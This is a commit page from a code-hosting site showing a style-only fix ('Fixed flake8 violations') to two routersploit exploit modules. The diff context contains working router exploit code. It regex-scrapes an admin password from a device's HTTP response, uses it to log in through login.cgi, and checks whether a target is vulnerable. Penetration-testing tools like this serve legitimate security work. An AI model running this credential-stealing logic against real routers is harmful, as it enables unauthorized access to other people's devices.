Commit 901ed47f by BigNerd95

Fixed flake8 violations

parent 49df5b75
...@@ -4,7 +4,6 @@ from routersploit import ( ...@@ -4,7 +4,6 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_success, print_success,
print_table,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -46,11 +45,11 @@ class Exploit(exploits.Exploit): ...@@ -46,11 +45,11 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return return
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
url = "{}:{}/login.cgi".format(self.target, self.port) url = "{}:{}/login.cgi".format(self.target, self.port)
payload = "pws="+val[0]+"&arc_action=login&action=Submit" payload = "pws=" + val[0] + "&arc_action=login&action=Submit"
login = http_request(method="POST", url=url, data=payload) login = http_request(method="POST", url=url, data=payload)
if login is None: if login is None:
...@@ -61,7 +60,7 @@ class Exploit(exploits.Exploit): ...@@ -61,7 +60,7 @@ class Exploit(exploits.Exploit):
if not error: if not error:
print_success("Exploit success, you are now logged in!") print_success("Exploit success, you are now logged in!")
return return
print_error("Exploit failed. Device seems to be not vulnerable.") print_error("Exploit failed. Device seems to be not vulnerable.")
@mute @mute
...@@ -72,7 +71,7 @@ class Exploit(exploits.Exploit): ...@@ -72,7 +71,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
return True # target vulnerable return True # target vulnerable
......
...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return return
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
print_success("Exploit success") print_success("Exploit success")
...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit): ...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val): if len(val):
return True # target vulnerable return True # target vulnerable
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment